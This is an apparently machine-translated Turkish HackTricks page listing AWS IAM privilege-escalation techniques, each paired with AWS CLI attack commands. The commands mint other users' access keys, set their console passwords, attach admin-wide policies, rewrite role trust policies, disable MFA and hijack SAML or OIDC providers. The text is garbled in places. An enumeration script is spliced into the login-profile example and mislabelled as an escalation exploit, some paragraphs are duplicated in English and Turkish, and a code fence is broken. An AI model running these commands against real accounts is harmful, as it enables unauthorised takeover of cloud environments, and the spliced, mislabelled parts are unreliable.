AWS - IAM Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

IAM

IAM hakkında daha fazla bilgi için:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

iam:SetDefaultPolicyVersion izni gereksinimini atlayarak yeni bir IAM politika sürümü oluşturma yeteneği sağlar. --set-as-default bayrağını kullanarak özel izinleri tanımlamanıza olanak tanır.

Sömürü Komutu:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Etki: Herhangi bir kaynak üzerinde herhangi bir işlem yaparak doğrudan ayrıcalıkları yükseltir.

iam:SetDefaultPolicyVersion

Bir IAM politikasının varsayılan sürümünü başka bir mevcut sürüme değiştirmeye izin verir ve yeni sürüm daha fazla izinlere sahipse ayrıcalıkları yükseltebilir.

Bash Komutu:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Etki: Daha fazla izin vererek dolaylı ayrıcalık yükseltme.

iam:CreateAccessKey

Başka bir kullanıcı için erişim anahtarı kimliği ve gizli erişim anahtarı oluşturmayı etkinleştirir, bu da potansiyel bir ayrıcalık yükseltmeye yol açar.

Sömürü:

aws iam create-access-key --user-name <target_user>

Etki: Başka bir kullanıcının genişletilmiş izinlerini kullanarak doğrudan ayrıcalık yükseltme.

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWS konsolu girişi için şifre belirleme dahil, giriş profili oluşturma veya güncelleme izni verir, bu da doğrudan ayrıcalık yükseltmeye yol açar.

Oluşturma için Sömürü:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Güncelleme için Sömürü:

#!/bin/bash

# AWS IAM Privilege Escalation Exploit
# Author: HackTricks
# Description: This script exploits a misconfiguration in AWS IAM policies to escalate privileges.

# Check if the required tools are installed
command -v aws >/dev/null 2>&1 || { echo >&2 "AWS CLI is required but not installed. Aborting."; exit 1; }
command -v jq >/dev/null 2>&1 || { echo >&2 "jq is required but not installed. Aborting."; exit 1; }

# Check if the AWS CLI is configured
aws configure get aws_access_key_id >/dev/null 2>&1 || { echo >&2 "AWS CLI is not configured. Aborting."; exit 1; }

# Get the current IAM user
current_user=$(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)

# Get the current IAM user's policies
policies=$(aws iam list-attached-user-policies --user-name $current_user --query 'AttachedPolicies[].PolicyArn' --output text)

# Check if the current IAM user has any attached policies
if [[ -z $policies ]]; then
    echo "No attached policies found for the current IAM user. Aborting."
    exit 1
fi

# Iterate through each policy and check for privilege escalation
for policy in $policies; do
    echo "Checking policy: $policy"
    policy_version=$(aws iam get-policy --policy-arn $policy --query 'Policy.DefaultVersionId' --output text)
    policy_document=$(aws iam get-policy-version --policy-arn $policy --version-id $policy_version --query 'PolicyVersion.Document' --output text)
    privilege_escalation=$(echo $policy_document | jq -r '.Statement[] | select(.Effect == "Allow" and .Condition.StringEquals."aws:PrincipalArn" == "*") | .Action')
    
    if [[ -n $privilege_escalation ]]; then
        echo "Privilege escalation found in policy: $policy"
        echo "Actions that can be escalated: $privilege_escalation"
    else
        echo "No privilege escalation found in policy: $policy"
    fi
done

Bu betik, AWS IAM politikalarındaki bir yapılandırma hatasını sömürerek ayrıcalıkları yükseltir.

Gerekli araçların yüklü olup olmadığını kontrol eder.

command -v aws >/dev/null 2>&1 || { echo >&2 "AWS CLI yüklü değil. İptal ediliyor."; exit 1; }
command -v jq >/dev/null 2>&1 || { echo >&2 "jq yüklü değil. İptal ediliyor."; exit 1; }

AWS CLI'nin yapılandırılıp yapılandırılmadığını kontrol eder.

aws configure get aws_access_key_id >/dev/null 2>&1 || { echo >&2 "AWS CLI yapılandırılmamış. İptal ediliyor."; exit 1; }

Mevcut IAM kullanıcısını alır.

current_user=$(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)

Mevcut IAM kullanıcısının politikalarını alır.

policies=$(aws iam list-attached-user-policies --user-name $current_user --query 'AttachedPolicies[].PolicyArn' --output text)

Mevcut IAM kullanıcısının her politikasını kontrol eder ve ayrıcalık yükseltme durumunu kontrol eder.

for policy in $policies; do
    echo "Politika kontrol ediliyor: $policy"
    policy_version=$(aws iam get-policy --policy-arn $policy --query 'Policy.DefaultVersionId' --output text)
    policy_document=$(aws iam get-policy-version --policy-arn $policy --version-id $policy_version --query 'PolicyVersion.Document' --output text)
    privilege_escalation=$(echo $policy_document | jq -r '.Statement[] | select(.Effect == "Allow" and .Condition.StringEquals."aws:PrincipalArn" == "*") | .Action')
    
    if [[ -n $privilege_escalation ]]; then
        echo "Politikada ayrıcalık yükseltme bulundu: $policy"
        echo "Yükseltilebilecek eylemler: $privilege_escalation"
    else
        echo "Politikada ayrıcalık yükseltme bulunamadı: $policy"
    fi
done
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Etki: "herhangi bir" kullanıcı olarak oturum açarak doğrudan ayrıcalık yükseltme.

iam:UpdateAccessKey

Devre dışı bırakılmış bir erişim anahtarını etkinleştirmeye izin verir, saldırgan devre dışı bırakılmış anahtara sahipse yetkisiz erişime yol açabilir.

Sömürü:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Etki: Erişim anahtarlarını yeniden etkinleştirerek doğrudan ayrıcalık yükseltme.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Belirli AWS hizmetleri için (örneğin, CodeCommit, Amazon Keyspaces) kimlik bilgileri oluşturmayı veya sıfırlamayı etkinleştirir ve ilişkili kullanıcının izinlerini devralır.

Oluşturma için Sömürü:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Sıfırlama İçin Sömürü:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Etki: Kullanıcının hizmet izinleri içinde doğrudan ayrıcalık yükselmesi.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Kullanıcılara veya gruplara politikaların eklenmesine izin verir, doğrudan eklenen politikanın izinlerini devralayarak ayrıcalıkları yükseltir.

Kullanıcı için Sömürü:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Grup İçin Sömürü:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Etki: Politika tarafından sağlanan herhangi bir şeye doğrudan ayrıcalık yükseltme.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Rollere, kullanıcılara veya gruplara politika eklemeyi veya politika yerleştirmeyi sağlar, ek izinler vererek doğrudan ayrıcalık yükseltmeyi mümkün kılar.

Rol İçin Sömürü:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Inline Politikalar için Sömürü:

An inline policy is a policy that is directly attached to an IAM user, group, or role. These policies are defined within the same JSON document as the user, group, or role.

Bir inline politika, IAM kullanıcısına, gruba veya role doğrudan eklenen bir politikadır. Bu politikalar, kullanıcı, grup veya rol ile aynı JSON belgesi içinde tanımlanır.

To exploit an inline policy, you need to have the necessary permissions to modify the policy document. Once you have the required permissions, you can modify the policy to grant yourself additional privileges.

Bir inline politikayı sömürmek için, politika belgesini değiştirmek için gerekli izinlere sahip olmanız gerekir. Gerekli izinlere sahip olduktan sonra, politikayı değiştirerek kendinize ek ayrıcalıklar verebilirsiniz.

Here are the steps to exploit an inline policy:

İşte bir inline politikayı sömürmek için adımlar:

  1. Identify the IAM user, group, or role that has an inline policy attached.

  2. Bir inline politikaya sahip olan IAM kullanıcısını, grubu veya rolü belirleyin.

  3. Determine the permissions granted by the inline policy.

  4. Inline politika tarafından verilen izinleri belirleyin.

  5. Gain the necessary permissions to modify the policy document.

  6. Politika belgesini değiştirmek için gerekli izinleri elde edin.

  7. Modify the policy document to grant yourself additional privileges.

  8. Politika belgesini değiştirerek kendinize ek ayrıcalıklar verin.

  9. Test the modified policy to ensure that the privileges have been escalated.

  10. Ayrıcalıkların yükseltildiğinden emin olmak için değiştirilmiş politikayı test edin.

By exploiting an inline policy, you can elevate your privileges and gain access to resources that you were not originally authorized to access.

Inline politikayı sömürerek, ayrıcalıklarınızı yükseltebilir ve başlangıçta erişim izniniz olmayan kaynaklara erişebilirsiniz.

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Aşağıdaki gibi bir politika kullanabilirsiniz:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Etki: İzinlerin doğrudan artırılması, politikalar aracılığıyla izin ekleyerek gerçekleştirilir.

iam:AddUserToGroup

Bir IAM grubuna kendinizi eklemenizi sağlar, grup izinlerini devralarak ayrıcalıkları artırır.

Sömürü:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Etki: Grubun izin seviyesine doğrudan ayrıcalık yükseltme.

iam:UpdateAssumeRolePolicy

Bir rolün varsayılan rol politika belgesini değiştirmeye izin verir, böylece rolün ve ilişkili izinlerin varsayılan rolünü gerçekleştirir.

Sömürü:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Eğer politika aşağıdaki gibi görünüyorsa, kullanıcıya rolü üstlenme izni verir:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "sts:AssumeRole",
      "Resource": "arn:aws:iam::123456789012:role/ExampleRole"
    }
  ]
}
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Etki: Herhangi bir rolün izinlerini alarak doğrudan ayrıcalık yükseltme.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

CodeCommit'e kimlik doğrulama için bir SSH genel anahtarı yüklemeye ve MFA cihazlarını devre dışı bırakmaya izin verir, bu da potansiyel dolaylı ayrıcalık yükseltmeye yol açar.

SSH Anahtarı Yükleme Sömürüsü:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA Devre Dışı Bırakma Sömürüsü:

1. Identify an IAM user with the necessary permissions to modify MFA settings.
2. Obtain the access key and secret key of the identified IAM user.
3. Use the obtained credentials to authenticate with the AWS CLI or SDK.
4. Execute the following command to disable MFA for the IAM user:

   ```bash
   aws iam deactivate-mfa-device --user-name <IAM_USER_NAME> --serial-number <MFA_SERIAL_NUMBER>

Replace <IAM_USER_NAME> with the username of the IAM user and <MFA_SERIAL_NUMBER> with the serial number of the MFA device associated with the user. 5. Verify that MFA has been successfully disabled by attempting to log in to the AWS Management Console without providing an MFA code.


This exploit allows an attacker to deactivate MFA for a targeted IAM user, potentially granting them unauthorized access to the user's AWS resources. It is important to note that this technique requires the attacker to have the necessary permissions to modify MFA settings for the targeted user.
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Etki: CodeCommit erişimini etkinleştirme veya MFA korumasını devre dışı bırakma yoluyla dolaylı ayrıcalık yükseltme.

iam:ResyncMFADevice

Bir MFA cihazının yeniden senkronizasyonuna izin verir, MFA korumasını manipüle ederek dolaylı ayrıcalık yükseltmeye yol açabilir.

Bash Komutu:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Etki: MFA cihazları ekleyerek veya manipüle ederek dolaylı ayrıcalık yükseltme.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Bu izinlerle SAML bağlantısının XML meta verilerini değiştirebilirsiniz. Ardından, SAML federasyonunu kötüye kullanarak güvenen herhangi bir rolle giriş yapabilirsiniz.

Bununla birlikte, bunu yaparak meşru kullanıcılar giriş yapamaz. Ancak XML'yi alabilirsiniz, böylece kendi XML'inizi koyabilir, giriş yapabilir ve önceki yapılandırmayı geri alabilirsiniz.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Belirli bir rolle SAML meta verileri oluşturabilen ve oturum açabilen bir araç

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Bu konuda emin değilim) Bir saldırganın bu izinlere sahip olması durumunda, sağlayıcıya güvenen tüm rollerde oturum açmayı yönetmek için yeni bir Thumbprint ekleyebilir.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Referanslar

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated